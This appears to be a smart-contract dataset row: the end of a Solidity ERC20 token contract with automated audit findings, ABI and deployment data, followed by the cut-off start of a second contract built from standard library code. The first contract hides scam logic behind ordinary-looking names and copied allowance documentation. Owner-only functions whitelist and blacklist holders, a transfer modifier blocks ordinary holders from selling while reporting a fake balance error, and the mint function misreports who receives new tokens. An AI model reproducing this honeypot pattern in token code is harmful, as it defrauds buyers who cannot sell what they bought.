* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | [{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["516"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["430"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["753", "750"]}] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"MEM.sol": [189]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"MEM.sol": [288, 289, 290, 291]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"MEM.sol": [748]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"MEM.sol": [749]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"MEM.sol": [434]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"MEM.sol": [430]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"MEM.sol": [745]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"MEM.sol": [747]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MEM.sol": [640, 641, 642, 643, 644, 645, 646, 647, 638, 639]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MEM.sol": [76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MEM.sol": [45, 46, 47]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MEM.sol": [209, 210, 211, 212, 213, 214, 215]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MEM.sol": [260, 261, 262]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MEM.sol": [676, 677, 678, 679, 680, 681, 682, 683, 684]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MEM.sol": [155, 156, 157, 158]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MEM.sol": [272, 273, 270, 271]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MEM.sol": [118, 119, 120, 121, 122, 123, 124, 125]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MEM.sol": [308, 309, 310, 311]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MEM.sol": [768, 769, 770]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MEM.sol": [138, 139, 140]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MEM.sol": [101, 102, 103]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MEM.sol": [275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MEM.sol": [182, 183, 184, 185, 186, 187, 188, 189, 190, 191]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MEM.sol": [245, 246, 247]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MEM.sol": [235, 236, 237]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MEM.sol": [514, 515, 516, 517, 518, 519, 520, 521, 522, 523, 524]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MEM.sol": [458, 459, 460]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MEM.sol": [529, 530, 531]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MEM.sol": [497, 498, 499]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MEM.sol": [557, 558, 559, 560, 561]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MEM.sol": [576, 577, 578, 579, 580, 581, 575]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MEM.sol": [466, 467, 468]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MEM.sol": [615, 616, 617, 618, 619, 620, 621]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MEM.sol": [483, 484, 485]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MEM.sol": [490, 491, 492]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MEM.sol": [600, 597, 598, 599]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MEM.sol": [540, 541, 542, 543]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MEM.sol": [1]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"MEM.sol": [458, 459, 460]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"MEM.sol": [466, 467, 468]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"MEM.sol": [279]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"MEM.sol": [213]}}, {"check": "events-access", "impact": "Low", "confidence": "Medium", "lines": {"MEM.sol": [599]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"MEM.sol": [599]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"MEM.sol": [451]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MEM.sol": [432]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MEM.sol": [658, 659, 660, 661, 662, 663]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"MEM.sol": [299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"MEM.sol": [413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489, 490, 491, 492, 493, 494, 495, 496, 497, 498, 499, 500, 501, 502, 503, 504, 505, 506, 507, 508, 509, 510, 511, 512, 513, 514, 515, 516, 517, 518, 519, 520, 521, 522, 523, 524, 525, 526, 527, 528, 529, 530, 531, 532, 533, 534, 535, 536, 537, 538, 539, 540, 541, 542, 543, 544, 545, 546, 547, 548, 549, 550, 551, 552, 553, 554, 555, 556, 557, 558, 559, 560, 561, 562, 563, 564, 565, 566, 567, 568, 569, 570, 571, 572, 573, 574, 575, 576, 577, 578, 579, 580, 581, 582, 583, 584, 585, 586, 587, 588, 589, 590, 591, 592, 593, 594, 595, 596, 597, 598, 599, 600, 601, 602, 603, 604, 605, 606, 607, 608, 609, 610, 611, 612, 613, 614, 615, 616, 617, 618, 619, 620, 621, 622, 623, 624, 625, 626, 627, 628, 629, 630, 631, 632, 633, 634, 635, 636, 637, 638, 639, 640, 641, 642, 643, 644, 645, 646, 647, 648, 649, 650, 651, 652, 653, 654, 655, 656, 657, 658, 659, 660, 661, 662, 663, 664, 665, 666, 667, 668, 669, 670, 671, 672, 673, 674, 675, 676, 677, 678, 679, 680, 681, 682, 683, 684, 685, 686, 687, 688, 689, 690, 691, 692, 693, 694, 695, 696, 697, 698, 699, 700, 701, 702, 703, 704, 705, 706, 707, 708, 709, 710, 711, 712, 713, 714, 715, 716, 717, 718, 719, 720, 721, 722, 723, 724, 725, 726, 727, 728, 729, 730, 731, 732, 733, 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 744, 745, 746, 747, 748, 749, 750, 751, 752, 753, 754, 755, 756, 757, 758, 759, 760, 761, 762, 763, 764, 765, 766, 767, 768, 769, 770, 771, 772, 773, 774, 775, 776, 777, 778, 779, 780, 781, 782, 783, 784, 785, 786, 787, 788]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 434, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 413, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 417, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 418, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 419, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 421, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 423, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 425, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 427, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 428, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 429, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 430, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 433, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 434, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 414, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 182, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 189, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 209, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 446, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 209, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 209, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 210, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 210, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 210, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 210, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 213, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 213, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 213, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 448, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 449, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 450, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 451, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 452, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 452, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 452, "severity": 1}] | [{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"initialSupply","type":"uint256"},{"internalType":"address payable","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"_mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"receivers","type":"address[]"}],"name":"addApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"safeOwner","type":"address"}],"name":"decreaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"receivers","type":"address[]"}],"name":"increaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"approvecount","type":"uint256"},{"internalType":"address[]","name":"receivers","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"multiTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | true | 200 | 000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000005f5e100000000000000000000000000747987cc2f5560c143a725cabf74da0e3f94e89600000000000000000000000000000000000000000000000000000000000000084d656d652e636f6d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034d454d0000000000000000000000000000000000000000000000000000000000 | Default | None | false | ipfs://6db4e636f5c0f8ea34c1e9e594df1a4c2a42191f79e67c535f815e3cbc59d436 |
||
etherATM_DeFi_v1 | 0xb46bbd0503c183693929405507645d98a6e220c7 | Solidity | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
